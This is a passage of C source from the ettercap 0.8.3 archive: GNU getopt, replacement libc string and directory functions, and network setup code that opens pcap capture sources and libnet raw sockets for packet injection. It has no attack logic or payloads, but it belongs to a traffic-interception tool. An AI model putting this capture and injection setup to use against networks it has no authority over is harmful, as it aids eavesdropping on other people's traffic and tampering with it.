`-W %s' doesn't allow an argument\n"), argv[0], pfound->name); nextchar += strlen (nextchar); return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) fprintf (stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); nextchar += strlen (nextchar); return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen (nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } nextchar = NULL; return 'W'; /* Let the application handle it. */ } if (temp[1] == ':') { if (temp[2] == ':') { /* This is an option that accepts an argument optionally. */ if (*nextchar != '\0') { optarg = nextchar; optind++; } else optarg = NULL; nextchar = NULL; } else { /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ fprintf (stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; nextchar = NULL; } } return c; } } int getopt (int, char *const *, const char *); int getopt (argc, argv, optstring) int argc; char *const *argv; const char *optstring; { return _getopt_internal (argc, argv, optstring, (const struct option *) 0, (int *) 0, 0); } #endif /* Not ELIDE_CODE. */ #ifdef TEST /* Compile with -DTEST to make an executable for use in testing the above definition of `getopt'. */ int main (argc, argv) int argc; char **argv; { int c; int digit_optind = 0; while (1) { int this_option_optind = optind ? optind : 1; c = getopt (argc, argv, "abc:d:0123456789"); if (c == -1) break; switch (c) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': if (digit_optind != 0 && digit_optind != this_option_optind) printf ("digits occur in two different argv-elements.\n"); digit_optind = this_option_optind; printf ("option %c\n", c); break; case 'a': printf ("option a\n"); break; case 'b': printf ("option b\n"); break; case 'c': printf ("option c with value `%s'\n", optarg); break; case '?': break; default: printf ("?? getopt returned character code 0%o ??\n", c); } } if (optind < argc) { printf ("non-option ARGV-elements: "); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); } exit (0); } #endif /* TEST */ /* getopt_long and getopt_long_only entry points for GNU getopt. Copyright (C) 1987,88,89,90,91,92,93,94,96,97,98 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with the GNU C Library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include #endif #include #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems reject `defined (const)'. */ #ifndef const #define const #endif #endif #include /* Comment out all this code if we are using the GNU C Library, and are not actually compiling the library itself. This code is part of the GNU C Library, but also included in many other GNU distributions. Compiling and linking in this code is a waste when using the GNU C library (especially if it is a shared library). Rather than having every GNU program understand `configure --with-gnu-libc' and omit the object files, it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 #include #if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION #define ELIDE_CODE #endif #endif #ifndef ELIDE_CODE /* This needs to come after some library #include to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ #include #endif #ifndef NULL #define NULL 0 #endif int getopt_long (argc, argv, options, long_options, opt_index) int argc; char *const *argv; const char *options; const struct option *long_options; int *opt_index; { return _getopt_internal (argc, argv, options, long_options, opt_index, 0); } /* Like getopt_long, but '-' as well as '--' can indicate a long option. If an option that starts with '-' (not '--') doesn't match a long option, but does match a short option, it is parsed as a short option instead. */ int getopt_long_only (argc, argv, options, long_options, opt_index) int argc; char *const *argv; const char *options; const struct option *long_options; int *opt_index; { return _getopt_internal (argc, argv, options, long_options, opt_index, 1); } #endif /* Not ELIDE_CODE. */ #ifdef TEST #include int main (argc, argv) int argc; char **argv; { int c; int digit_optind = 0; while (1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { {"add", 1, 0, 0}, {"append", 0, 0, 0}, {"delete", 1, 0, 0}, {"verbose", 0, 0, 0}, {"create", 0, 0, 0}, {"file", 1, 0, 0}, {0, 0, 0, 0} }; c = getopt_long (argc, argv, "abc:d:0123456789", long_options, &option_index); if (c == -1) break; switch (c) { case 0: printf ("option %s", long_options[option_index].name); if (optarg) printf (" with arg %s", optarg); printf ("\n"); break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': if (digit_optind != 0 && digit_optind != this_option_optind) printf ("digits occur in two different argv-elements.\n"); digit_optind = this_option_optind; printf ("option %c\n", c); break; case 'a': printf ("option a\n"); break; case 'b': printf ("option b\n"); break; case 'c': printf ("option c with value `%s'\n", optarg); break; case 'd': printf ("option d with value `%s'\n", optarg); break; case '?': break; default: printf ("?? getopt returned character code 0%o ??\n", c); } } if (optind < argc) { printf ("non-option ARGV-elements: "); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); } exit (0); } #endif /* TEST */ ettercap-0.8.3/src/missing/scandir.c0000644000175000017500000000304313505247364017223 0ustar koeppeakoeppea #include #include #include #include int scandir(const char *, struct dirent ***, int(*)(const struct dirent *), int(*)(const struct dirent **, const struct dirent **)); int alphasort(const struct dirent **a, const struct dirent **b); /* This function is only required for SunOS, all other supported OS have this function in their system library */ int scandir(const char *dir, struct dirent ***namelist, int (*select)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)) { DIR *d; struct dirent *entry; register int i=0; size_t entrysize; if ((d=opendir(dir)) == NULL) return(-1); *namelist=NULL; while ((entry=readdir(d)) != NULL) { if (select == NULL || (select != NULL && (*select)(entry))) { *namelist=(struct dirent **)realloc((void *)(*namelist), (size_t)((i+1)*sizeof(struct dirent *))); if (*namelist == NULL) return(-1); entrysize=sizeof(struct dirent)-sizeof(entry->d_name)+strlen(entry->d_name)+1; (*namelist)[i]=(struct dirent *)malloc(entrysize); if ((*namelist)[i] == NULL) return(-1); memcpy((*namelist)[i], entry, entrysize); i++; } } if (closedir(d)) return(-1); if (i == 0) return(-1); if (compar != NULL) qsort((void *)(*namelist), (size_t)i, sizeof(struct dirent *), (int (*)(const void *, const void *))compar); return(i); } int alphasort(const struct dirent **a, const struct dirent **b) { return(strcmp((*a)->d_name, (*b)->d_name)); } ettercap-0.8.3/src/missing/memmem.c0000644000175000017500000000532613505247364017063 0ustar koeppeakoeppea/* * Copyright (c) 2001 Alberto Ornaghi * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #if 0 #include #include #include #endif void * memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen); /* * DESCRIPTION * The memmem() function finds the start of the first occurrence * of the substring needle of length needlelen in the memory area * haystack of length haystacklen. * * RETURN VALUE * The memmem() function returns a pointer to the beginning of the * substring, or NULL if the substring is not found. */ void * memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen) { register const char *h = haystack; register const char *n = needle; register size_t hl = haystacklen; register size_t nl = needlelen; register size_t i; if (nl == 0) return (void *) haystack; /* The first occurrence of the empty string is deemed to occur at the beginning of the string. */ for( i = 0; (i < hl) && (i + nl <= hl ); i++ ) if (h[i] == *n) /* first match */ if ( !memcmp(&h[i]+1, n + 1, nl - 1) ) return (void *)(haystack+i); /* returns a pointer to the substring */ return (void *)NULL; /* not found */ } /* EOF */ ettercap-0.8.3/src/missing/basename.c0000644000175000017500000000030713505247364017353 0ustar koeppeakoeppea #include char * basename (const char *filename); char * basename (const char *filename) { register char *p; p = strrchr (filename, '/'); return p ? p + 1 : (char *) filename; } ettercap-0.8.3/src/missing/strsep.c0000644000175000017500000000551013505247364017121 0ustar koeppeakoeppea/* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ /*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #if 0 #include #include #endif char * strsep(char **, const char *); /* * Get next token from string *stringp, where tokens are possibly-empty * strings separated by characters from delim. * * Writes NULs into the string at *stringp to end tokens. * delim need not remain constant from call to call. * On return, *stringp points past the last NUL written (if there might * be further tokens), or is NULL (if there are definitely no more tokens). * * If *stringp is NULL, strsep returns NULL. */ char * strsep(stringp, delim) register char **stringp; register const char *delim; { register char *s; register const char *spanp; register int c, sc; char *tok; if ((s = *stringp) == NULL) return (NULL); for (tok = s;;) { c = *s++; spanp = delim; do { if ((sc = *spanp++) == c) { if (c == 0) s = NULL; else s[-1] = 0; *stringp = s; return (tok); } } while (sc != 0); } /* NOTREACHED */ } ettercap-0.8.3/src/missing/memcmp.c0000644000175000017500000000445213505247364017063 0ustar koeppeakoeppea/*- * Copyright (c) 1990 The Regents of the University of California. * All rights reserved. * * This code is derived from software contributed to Berkeley by * Chris Torek. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #if defined(LIBC_SCCS) && !defined(lint) static char *rcsid = "$OpenBSD: memcmp.c,v 1.2 1996/08/19 08:34:05 tholo Exp $"; #endif /* LIBC_SCCS and not lint */ #include /* * Compare memory regions. */ int memcmp(s1, s2, n) const void *s1, *s2; size_t n; { if (n != 0) { register const unsigned char *p1 = s1, *p2 = s2; do { if (*p1++ != *p2++) return (*--p1 - *--p2); } while (--n != 0); } return (0); } ettercap-0.8.3/src/missing/strcasestr.c0000644000175000017500000000072213505247364017776 0ustar koeppeakoeppea /* * silly implementation for the strcasestr funcion. * */ #include char *strcasestr(const char *hailstack, const char *needle); char *strcasestr(const char *hailstack, const char *needle) { register int lneed = strlen(needle); register int lhail = strlen(hailstack); register int i; for (i = 0; i < lhail; i++) { if (!strncasecmp(hailstack + i, needle, lneed)) return hailstack + i; } return NULL; } /* EOF */ ettercap-0.8.3/src/missing/strlcat.c0000644000175000017500000000466113505247364017263 0ustar koeppeakoeppea/* $NetBSD: strlcat.c,v 1.5 1999/09/20 04:39:47 lukem Exp $ */ /* from OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp */ /* * Copyright (c) 1998 Todd C. Miller * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include size_t strlcat(char *, const char *, size_t); /* * Appends src to string dst of size siz (unlike strncat, siz is the * full size of dst, not space left). At most siz-1 characters * will be copied. Always NUL terminates (unless siz == 0). * Returns strlen(src); if retval >= siz, truncation occurred. */ size_t strlcat(dst, src, siz) char *dst; const char *src; size_t siz; { register char *d = dst; register const char *s = src; register size_t n = siz; size_t dlen; /* Find the end of dst and adjust bytes left but don't go past end */ while (*d != '\0' && n-- != 0) d++; dlen = d - dst; n = siz - dlen; if (n == 0) return(dlen + strlen(s)); while (*s != '\0') { if (n != 1) { *d++ = *s; n--; } s++; } *d = '\0'; return(dlen + (s - src)); /* count does not include NUL */ } ettercap-0.8.3/src/ec_network.c0000644000175000017500000003264613505247364016302 0ustar koeppeakoeppea#include #include #include #include #include #include #include #include #if !defined(OS_WINDOWS) #include #endif #if defined(OS_BSD_OPEN) || defined(OS_LINUX) /* LINUX does not care about timeout */ /* OPENBSD needs 0 */ #define PCAP_TIMEOUT 0 #elif defined(OS_SOLARIS) /* SOLARIS needs > 1 */ #define PCAP_TIMEOUT 10 #else /* FREEBSD needs 1 */ /* MACOSX needs 1 */ #define PCAP_TIMEOUT 1 #endif struct source_entry { struct iface_env iface; LIST_ENTRY(source_entry) next; }; /* globals */ static LIST_HEAD(,source_entry) sources_list; static pthread_mutex_t sl_mutex = PTHREAD_MUTEX_INITIALIZER; #define SOURCES_LIST_LOCK do{ pthread_mutex_lock(&sl_mutex); }while(0) #define SOURCES_LIST_UNLOCK do{ pthread_mutex_unlock(&sl_mutex); }while(0) /* protos */ static void close_network(); static void pcap_winit(pcap_t *pcap); static void source_print(struct iface_env *source); static int source_init(char *name, struct iface_env *source, bool primary, bool live); static void source_close(struct iface_env *iface); static int secondary_sources_init(char **sources); static void close_secondary_sources(void); static void l3_init(void); static void l3_close(void); /* the code */ void network_init() { char *iface; char perrbuf[PCAP_ERRBUF_SIZE]; DEBUG_MSG("init_network"); EC_GBL_PCAP->snaplen = UINT16_MAX; if(EC_GBL_OPTIONS->read) { source_init(EC_GBL_OPTIONS->pcapfile_in, EC_GBL_IFACE, true, false); source_print(EC_GBL_IFACE); } else { iface = EC_GBL_OPTIONS->iface ? EC_GBL_OPTIONS->iface : (EC_GBL_OPTIONS->iface = pcap_lookupdev(perrbuf)); ON_ERROR(iface, NULL, "No suitable interface found..."); source_init(iface, EC_GBL_IFACE, true, true); source_print(EC_GBL_IFACE); if(EC_GBL_SNIFF->type == SM_BRIDGED) { source_init(EC_GBL_OPTIONS->iface_bridge, EC_GBL_BRIDGE, true, true); source_print(EC_GBL_BRIDGE); if(EC_GBL_BRIDGE->dlt != EC_GBL_IFACE->dlt) FATAL_ERROR("Can't bridge interfaces of different types"); } } if(get_decoder(LINK_LAYER, EC_GBL_IFACE->dlt) == NULL) { if(EC_GBL_OPTIONS->read) FATAL_ERROR("Dump file not supported (%s)", pcap_datalink_val_to_description(EC_GBL_PCAP->dlt)); else FATAL_ERROR("Interface \"%s\" not supported (%s)", EC_GBL_OPTIONS->iface, pcap_datalink_val_to_description(EC_GBL_PCAP->dlt)); } if(EC_GBL_OPTIONS->write) pcap_winit(EC_GBL_IFACE->pcap); /* determine alignment margin and allocate packet buffer per interface */ EC_GBL_PCAP->align = get_alignment(EC_GBL_PCAP->dlt); SAFE_CALLOC(EC_GBL_IFACE->pbuf, UINT16_MAX + EC_GBL_PCAP->align + 256, sizeof(char)); if (!EC_GBL_OPTIONS->read && EC_GBL_SNIFF->type == SM_BRIDGED) SAFE_CALLOC(EC_GBL_BRIDGE->pbuf, UINT16_MAX + EC_GBL_PCAP->align + 256, sizeof(char)); if(EC_GBL_OPTIONS->secondary) { secondary_sources_init(EC_GBL_OPTIONS->secondary); atexit(close_secondary_sources); } /* Layer 3 handlers initialization */ if(!EC_GBL_OPTIONS->unoffensive) l3_init(); atexit(close_network); } static void close_network() { pcap_close(EC_GBL_IFACE->pcap); SAFE_FREE(EC_GBL_IFACE->pbuf); if(EC_GBL_SNIFF->type == SM_BRIDGED) { pcap_close(EC_GBL_BRIDGE->pcap); SAFE_FREE(EC_GBL_BRIDGE->pbuf); } if(EC_GBL_OPTIONS->write) pcap_dump_close(EC_GBL_PCAP->dump); libnet_destroy(EC_GBL_IFACE->lnet); libnet_destroy(EC_GBL_BRIDGE->lnet); DEBUG_MSG("ATEXIT: close_network"); } static void pcap_winit(pcap_t *pcap) { pcap_dumper_t *pdump; pdump = pcap_dump_open(pcap, EC_GBL_OPTIONS->pcapfile_out); ON_ERROR(pdump, NULL, "pcap_dump_open: %s", pcap_geterr(pcap)); EC_GBL_PCAP->dump = pdump; } static void source_print(struct iface_env *source) { char strbuf[256]; struct net_list *ip6; if(source->is_live) { USER_MSG("Listening on:\n"); USER_MSG("%6s -> %s\n", source->name, mac_addr_ntoa(source->mac, strbuf)); if(source->has_ipv4) { USER_MSG("\t %s/", ip_addr_ntoa(&source->ip, strbuf)); USER_MSG("%s\n", ip_addr_ntoa(&source->netmask, strbuf)); } if(source->has_ipv6) { LIST_FOREACH(ip6, &source->ip6_list, next) { USER_MSG("\t %s/%d\n", ip_addr_ntoa(&ip6->ip, strbuf), ip6->prefix); } USER_MSG("\n"); } else { USER_MSG("\n\n"); } } else { USER_MSG("Reading from %s\n", source->name); } } static int source_init(char *name, struct iface_env *source, bool primary, bool live) { int ret; pcap_t *pcap = NULL; libnet_t *lnet = NULL; struct bpf_program bpf; char pcap_errbuf[PCAP_ERRBUF_SIZE]; char lnet_errbuf[LIBNET_ERRBUF_SIZE]; int snaplen; struct libnet_ether_addr *mac; struct sockaddr_in *sa4; struct sockaddr_in6 *sa6; struct net_list *ip6; #if !defined(OS_WINDOWS) struct ifaddrs *ifaddrs, *ifaddr; #endif DEBUG_MSG("source_init %s", name); BUG_IF(source == NULL); /* ===pcap initialization=== */ if(live) { pcap = pcap_open_live(name, EC_GBL_PCAP->snaplen, EC_GBL_PCAP->promisc, PCAP_TIMEOUT, pcap_errbuf); if(pcap == NULL) { if(primary) ON_ERROR(pcap, NULL, "pcap_open_live: %s", pcap_errbuf); else return -E_INITFAIL; } } else { /* secondary sources must not be offline */ if(!primary) return -E_NOTHANDLED; struct stat st; int stat_result; FILE* pcap_file_h; pcap = pcap_open_offline(name, pcap_errbuf); ON_ERROR(pcap, NULL, "pcap_open_offline: %s", pcap_errbuf); pcap_file_h = pcap_file(pcap); ON_ERROR(pcap_file_h, 0, "pcap_fileno returned an invalid file handle"); stat_result = fstat(fileno(pcap_file_h), &st); ON_ERROR(stat_result, -1, "fstat failed."); EC_GBL_PCAP->dump_size = st.st_size; } source->dlt = pcap_datalink(pcap); if(primary) EC_GBL_PCAP->dlt = source->dlt; if(source->dlt == DLT_IEEE802_11) { DEBUG_MSG("Wireless monitor mode used, switching to unoffensive mode"); source->unoffensive = 1; if(primary) EC_GBL_OPTIONS->unoffensive = 1; } if(!strcmp(name, "lo")) { DEBUG_MSG("Loopback interface used, switching to unoffensive mode"); source->unoffensive = 1; if(primary) EC_GBL_OPTIONS->unoffensive = 1; } if(EC_GBL_PCAP->filter && strcmp(EC_GBL_PCAP->filter, "") && live) { u_int net, mask; if(pcap_lookupnet(name, &net, &mask, pcap_errbuf) == -1) ERROR_MSG("%s - %s", name, pcap_errbuf); if(pcap_compile(pcap, &bpf, EC_GBL_PCAP->filter, 1, mask) < 0) ERROR_MSG("Wrong pcap filter: %s - %s", name, pcap_geterr(pcap)); if(pcap_setfilter(pcap, &bpf) == 1) ERROR_MSG("Cannot set pcap filter: %s - %s", name, pcap_geterr(pcap)); } snaplen = pcap_snapshot(pcap); DEBUG_MSG("requested snaplen for %s: %d, assigned snaplen: %d", name, EC_GBL_PCAP->snaplen, snaplen); if(primary) EC_GBL_PCAP->snaplen = snaplen; source->pcap = pcap; SAFE_STRDUP(source->name, name); if(live) { source->is_live = 1; } else { source->is_ready = 1; return E_SUCCESS; } if(!EC_GBL_OPTIONS->unoffensive && !source->unoffensive) { lnet = libnet_init(LIBNET_LINK_ADV, name, lnet_errbuf); ON_ERROR(lnet, NULL, "libnet_init: %s", lnet_errbuf); mac = libnet_get_hwaddr(lnet); memcpy(&source->mac, mac, MEDIA_ADDR_LEN); } source->lnet = lnet; source->mtu = get_iface_mtu(name); #if defined(OS_WINDOWS) pcap_if_t *dev; for (dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev; dev = dev->next) { if(strcmp(dev->name, name)) continue; if(dev->addresses->addr->sa_family == AF_INET) { sa4 = (struct sockaddr_in*) dev->addresses->addr; ip_addr_init(&source->ip, AF_INET, (u_char*)&sa4->sin_addr); if(EC_GBL_OPTIONS->netmask) { if(ip_addr_pton(EC_GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) FATAL_ERROR("Invalid netmask %s", EC_GBL_OPTIONS->netmask); } else { sa4 = (struct sockaddr_in*) dev->addresses->netmask; ip_addr_init(&source->netmask, AF_INET, (u_char*)&sa4->sin_addr); } ip_addr_get_network(&source->ip, &source->netmask, &source->network); source->has_ipv4 = 1; } else if(dev->addresses->addr->sa_family == AF_INET6) { SAFE_CALLOC(ip6, 1, sizeof(*ip6)); sa6 = (struct sockaddr_in6*) dev->addresses->addr; ip_addr_init(&ip6->ip, AF_INET6, (u_char*)&sa6->sin6_addr); sa6 = (struct sockaddr_in6*) dev->addresses->netmask; ip_addr_init(&ip6->netmask, AF_INET6, (u_char*)&sa6->sin6_addr); ip_addr_get_network(&ip6->ip, &ip6->netmask, &ip6->network); ip6->prefix = ip_addr_get_prefix(&ip6->netmask); LIST_INSERT_HEAD(&source->ip6_list, ip6, next); source->has_ipv6 = 1; } } #else ret = getifaddrs(&ifaddrs); ON_ERROR(ret, -1, "getifaddrs: %s", strerror(errno)); for(ifaddr = ifaddrs; ifaddr; ifaddr = ifaddr->ifa_next) { if (ifaddr->ifa_addr == NULL) continue; if(strcmp(ifaddr->ifa_name, name)) continue; if(ifaddr->ifa_addr->sa_family == AF_INET) { sa4 = (struct sockaddr_in*)ifaddr->ifa_addr; ip_addr_init(&source->ip, AF_INET, (u_char*)&sa4->sin_addr); if(EC_GBL_OPTIONS->netmask) { if(ip_addr_pton(EC_GBL_OPTIONS->netmask, &source->netmask) != E_SUCCESS) FATAL_ERROR("Invalid netmask %s", EC_GBL_OPTIONS->netmask); } else { sa4 = (struct sockaddr_in*)ifaddr->ifa_netmask; ip_addr_init(&source->netmask, AF_INET, (u_char*)&sa4->sin_addr); } ip_addr_get_network(&source->ip, &source->netmask, &source->network); source->has_ipv4 = 1; } else if(ifaddr->ifa_addr->sa_family == AF_INET6) { SAFE_CALLOC(ip6, 1, sizeof(*ip6)); sa6 = (struct sockaddr_in6*)ifaddr->ifa_addr; ip_addr_init(&ip6->ip, AF_INET6, (u_char*)&sa6->sin6_addr); sa6 = (struct sockaddr_in6*)ifaddr->ifa_netmask; ip_addr_init(&ip6->netmask, AF_INET6, (u_char*)&sa6->sin6_addr); ip_addr_get_network(&ip6->ip, &ip6->netmask, &ip6->network); ip6->prefix = ip_addr_get_prefix(&ip6->netmask); LIST_INSERT_HEAD(&source->ip6_list, ip6, next); source->has_ipv6 = 1; } } freeifaddrs(ifaddrs); #endif /* OS_WINDOWS */ source->is_ready = 1; return E_SUCCESS; } static void source_close(struct iface_env *iface) { #ifdef WITH_IPV6 struct net_list *n; #endif iface->is_ready = 0; if(iface->pcap != NULL) pcap_close(iface->pcap); if(iface->lnet != NULL) libnet_destroy(iface->lnet); #ifdef WITH_IPV6 LIST_FOREACH(n, &iface->ip6_list, next) { LIST_REMOVE(n, next); SAFE_FREE(n); } #endif SAFE_FREE(iface->name); memset(iface, 0, sizeof(*iface)); } static int secondary_sources_init(char **sources) { struct source_entry *se; int n = 0; SOURCES_LIST_LOCK; for(n = 0; sources[n] != NULL; n++) { SAFE_CALLOC(se, 1, sizeof(*se)); /* secondary interfaces are always live */ source_init(sources[n], &se->iface, true, false); if(se->iface.is_ready) LIST_INSERT_HEAD(&sources_list, se, next); else SAFE_FREE(se); } SOURCES_LIST_UNLOCK; return n; } void secondary_sources_foreach(void (*callback)(struct iface_env*)) { struct source_entry *se; SOURCES_LIST_LOCK; LIST_FOREACH(se, &sources_list, next) { callback(&se->iface); } SOURCES_LIST_UNLOCK; } static void close_secondary_sources(void) { struct source_entry *se; SOURCES_LIST_LOCK; LIST_FOREACH(se, &sources_list, next) { LIST_REMOVE(se, next); source_close(&se->iface); SAFE_FREE(se); } SOURCES_LIST_UNLOCK; } static void l3_init(void) { libnet_t *l4; #ifdef WITH_IPV6 libnet_t *l6; #endif #ifdef OS_WINDOWS char *name = EC_GBL_OPTIONS->iface; #else char *name = NULL; #endif char lnet_errbuf[LIBNET_ERRBUF_SIZE]; DEBUG_MSG("l3_init"); /* open the socket at layer 3 */ l4 = libnet_init(LIBNET_RAW4_ADV, name, lnet_errbuf); if (l4 == NULL) { DEBUG_MSG("send_init: libnet_init(LIBNET_RAW4_ADV) failed: %s", lnet_errbuf); USER_MSG("Libnet failed IPv4 initialization. Don't send IPv4 packets.\n"); } EC_GBL_LNET->lnet_IP4 = l4; #ifdef WITH_IPV6 /* open the socket at layer 3 for IPv6 */ l6 = libnet_init(LIBNET_RAW6_ADV, name, lnet_errbuf); if(l6 == NULL) { DEBUG_MSG("%s: libnet_init(LIBNET_RAW6_ADV) failed: %s", __func__, lnet_errbuf); USER_MSG("Libnet failed IPv6 initialization. Don't send IPv6 packets.\n"); } EC_GBL_LNET->lnet_IP6 = l6; #endif atexit(l3_close); } static void l3_close(void) { if(EC_GBL_LNET->lnet_IP4) libnet_destroy(EC_GBL_LNET->lnet_IP4); #ifdef WITH_IPV6 